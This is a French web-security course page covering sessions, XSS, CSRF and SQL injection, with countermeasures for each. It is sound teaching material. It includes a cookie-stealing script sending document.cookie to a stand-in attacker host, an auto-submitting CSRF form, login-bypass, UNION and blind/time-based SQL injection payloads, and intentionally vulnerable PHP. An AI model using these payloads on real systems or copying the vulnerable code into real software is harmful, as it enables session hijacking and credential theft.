Failles web

Rappels: fonctionnement des sessions

L'identification fonctionne à l'aide de variables de session, qui sont stockées sur le serveur, et associées à un identifiant unique, le cookie de session:

Lorsque ce cookie n'est pas présent, les variables de sessions sont crées, et un cookie est envoyé au client.

Lorsque ce cookie est présent, le serveur récupère les variables de session associées à cet identifiant, et les utilise, par exemple pour identifier l'utilisateur:

Note 1: Un utilisateur peut, à tout moment, supprimer son cookie de session et redevenir anonyme, ou changer de compte.

Note 2: Si l'identifiant de session est volé par un attaquant, il pourra se faire passer pour l'utilisateur.

Le saviez-vous?

Les cookies étant stockés côté client, il est possible d'y accéder en JavaScript:

console.log(document.cookie)

C'est parfois utile, et parfois dangereux, comme nous le verrons plus tard!

XSS

Le web regorge de formulaires, permettant aux utilisateurs de saisir des données. Par exemple, rédiger un avis sur Allociné:

Supposons que l'avis soit stocké en base, et affiché plus tard:

<div class="avis">
    <?php echo $avis["commentaire"]; ?>
</div>

Problème d'échappement

Que se passe t-il si on rédige l'avis suivant ?

Sur une application vulnérable, l'avis serait interprété comme du code HTML, et le beaucoup sera affiché en gras.

Redirection

Plus grave, l'utilisateur pourra également injecter du code JavaScript:

<script>
    document.location = "http://hackersite.com";
</script>

Ici, on redirige l'utilisateur vers un autre site arbitraire, qui pourrait par exemple se faire passer pour le site original.

Vol de cookie de session

Encore plus grave, l'attaquant pourrait voler le cookie de session de l'utilisateur:

<script>
    var img = new Image();
    img.src = "http://hackersite.com/steal.php?cookie=" 
              + document.cookie;
</script>

Ce code, totalement invisible, provoquera l'envoi d'une requête en fond vers le site de l'attaquant, avec le cookie de session de l'utilisateur. Ce cookie pourra ensuite être réutilisé pour se faire passer pour l'utilisateur.

Stored XSS

Stored XSS

Affichage d'une information stockée en base, comme un avis.

<?= $avis["commentaire"]; ?>

Tous les utilisateurs qui verront cet avis exécuterons le code injecté.

Reflected XSS

Reflected XSS

Affichage d'une information envoyée par l'utilisateur, comme dans une URL.

Page <?= $_GET["page"]; ?>/<?= $pages; ?>

Il faudra amener la victime à cliquer sur un lien contenant le code malveillant.

Contre-mesures

Échappement des entrées

Il s'agit là de la mesure la plus efficace. Par exemple, en PHP:

<?php echo htmlspecialchars($avis["commentaire"]); ?>

La fonction htmlspecialchars transforme les caractères spéciaux en entités HTML, les rendant inoffensifs.

Par exemple, <b>hello</b> deviendra &lt;b&gt;hello&lt;/b&gt; dans la source HTML.

Remarque

Un moteur de template (comme Twig) procède automatiquement à l'échappement des variables.

<div class="avis">
    {# Sera échappé #}
    {{ avis.commentaire }}
</div>

Il faut, au contraire, préciser que l'échappement n'est pas nécessaire:

<div class="avis">
    {# Ne sera pas échappé #}
    {{ avis.commentaire|raw }}
</div>

Utiliser des CSP

L'en-tête Content-Security-Policy permet de limiter les sources de scripts, de styles, etc. autorisées sur une page. Notamment:

  • Définir explicitement les hôtes autorisées pour des <script>
  • Interdire le code embarqué directement dans la page (inline)
  • Interdire les URL de type javascript:
  • Désactiver les traitant d'événements (onclick, etc.) embarqués
  • N'autoriser que les scripts ayant une signature numérique
  • Plus d'informations

Protéger les cookies de session

Afin de mitiger les risques de vol de cookie de session, il est également possible de protéger les cookies de session:

  • En les marquant comme HttpOnly: ils ne seront plus accessibles en JavaScript
  • En les marquant comme Secure: ils ne seront envoyés que sur des connexions HTTPS

Des deux mesures s'effectuent en modifiant l'en-tête Set-Cookie.

Attention: ces mesures ne sont pas suffisantes pour se protéger des attaques XSS. Elles n'empêchent pas un attaquant de manipuler les victimes à la volée à l'aide par exemple de fetch().

Cependant, manipuler les cookies de session devient plus difficile.

CSRF

Principe

Supposons que le lien suivant apparaisse sur une page:

<a href="https://victime.com/delete-account.php">
    Supprimer mon compte
</a>

Si un attaquant vous amène sur son propre site, qui redirige vers ce lien. Votre compte sera supprimé à votre insu.

Le même problème peut se poser avec des formulaires. Il est par exemple possible de faire:

<form method="post" 
      action="https://victime.com/comment.php?id=3">
    <input type="hidden" 
           name="comment" 
           value="J'adore cette série!" />
</form>
<script>
    document.querySelector("form").submit();
</script>

Contre-mesures

Jeton CSRF

La contre-mesure aux failles CSRF est de générer un jeton CSRF, stocké en session:

$token = bin2hex(random_bytes(32));
$_SESSION["csrf"] = $token;

Et de l'ajouter à chaque formulaire:

<form method="post">
    ...
    <input type="hidden" name="csrf" 
        value="<?= $token; ?>" />
</form>

Lors de la soumission du formulaire, il faudra vérifier que le jeton est correct

De cette façon. Il sera impossible pour un attaquant de générer un lien ou un formulaire qui exploite la faille CSRF.

La même procédure peut s'appliquer aux liens ayant un effet de bord (comme la suppression de compte):

<a href="delete-account.php?csrf=<?= $token; ?>">
    Supprimer mon compte
</a>

Remarque

Tout framework moderne propose une protection CSRF intégrée, qui génère automatiquement un jeton CSRF pour chaque formulaire.

Attention néanmoins, à ne pas la désacvtiver!

Pensez également à ajouter des jetons CSRF dans les liens ayant un effet de bord.

Double soumission de cookie

Une variante consiste à stocker le jeton CSRF dans un cookie, et à vérifier que la valeur du cookie correspond à celle du formulaire.

L'avantage de cette approche est qu'elle ne nécessite pas de stocker le jeton en session (sans état).

Injections SQL

Injection de connexion

Supposons que le formulaire de connexion soit traité de la façon suivante:

$query = "SELECT * FROM users WHERE 
          username = '" . $_POST["username"] . "' AND 
          password = '" . $_POST["password"] . "'";

$result = $pdo->query($query);

Et que l'utilisateur saisisse les valeurs suivantes dans les champs:

username: admin
password: ' OR '1'='1

La requête SQL deviendrait alors:

SELECT * FROM users WHERE 
username = 'admin' AND 
password = '' OR '1'='1'

Cette requête retournera tous les utilisateurs de la base, car la condition '1'='1' est toujours vraie.

Injection par union

Imaginons une fiche produit (e.g: product.php?id=1), où on aurait la requête:

$query = "SELECT title, description 
          FROM products WHERE id = " . $_GET["id"];

Si l'utilisateur fournit la valeur 0 UNION SELECT username, password FROM users WHERE admin=1, la requête deviendra:

SELECT title, description FROM products WHERE id = 0
UNION
SELECT username, password FROM users WHERE admin=1

Au lieu de voir apparaître la fiche produit, l'utilisateur verra les identifiants de l'administrateur.

Injections à l'aveugle

Parfois, il n'est pas possible de voir le résultat de la requête, par exemple:

$query = "SELECT COUNT(*) as nb FROM products
          WHERE id = " . $_GET["id"];

$result = $pdo->query($query);
if ($result["nb"] > 0) {
    echo "Le produit existe";
} else {
    echo "Le produit n'existe pas";
}

Ce type de faille permet quand même de récupérer des informations, par exemple:

SELECT COUNT(*) as nb FROM products
WHERE id = 1 AND (
    SELECT COUNT(*) 
    FROM user
    WHERE login = "admin" 
    AND SUBSTR(password, 1, 1) = "a"
) > 0

Même en obtenant 1 bit d'information à la fois, il est possible de récupérer des informations sensibles très rapidement!

Plusieurs SGBD supportent également une fonctionnalité d'attente (SLEEP sous MySQL, pg_sleep sous PostgreSQL)

Il est alors possible de créer des requêtes qui mettront un temps différents à s'éxecuter en fonction de la réponse:

SELECT COUNT(*) as nb FROM products
WHERE id = 1 AND (
    SELECT SLEEP(
        3*(SUBSTR(password, 1, 1) = "a")
    )
    FROM user WHERE login = "admin" 
)

Ce code mettra 3 secondes à s'exécuter si le premier caractère du mot de passe de l'administrateur est un a.

Contre-mesures

Afin de se protéger des injections SQL, il est nécessaire de toujours utiliser des requêtes préparées:

$query = "SELECT * FROM products WHERE id = :id";
$stmt = $pdo->prepare($query);
$stmt->execute([":id" => $_GET["id"]]);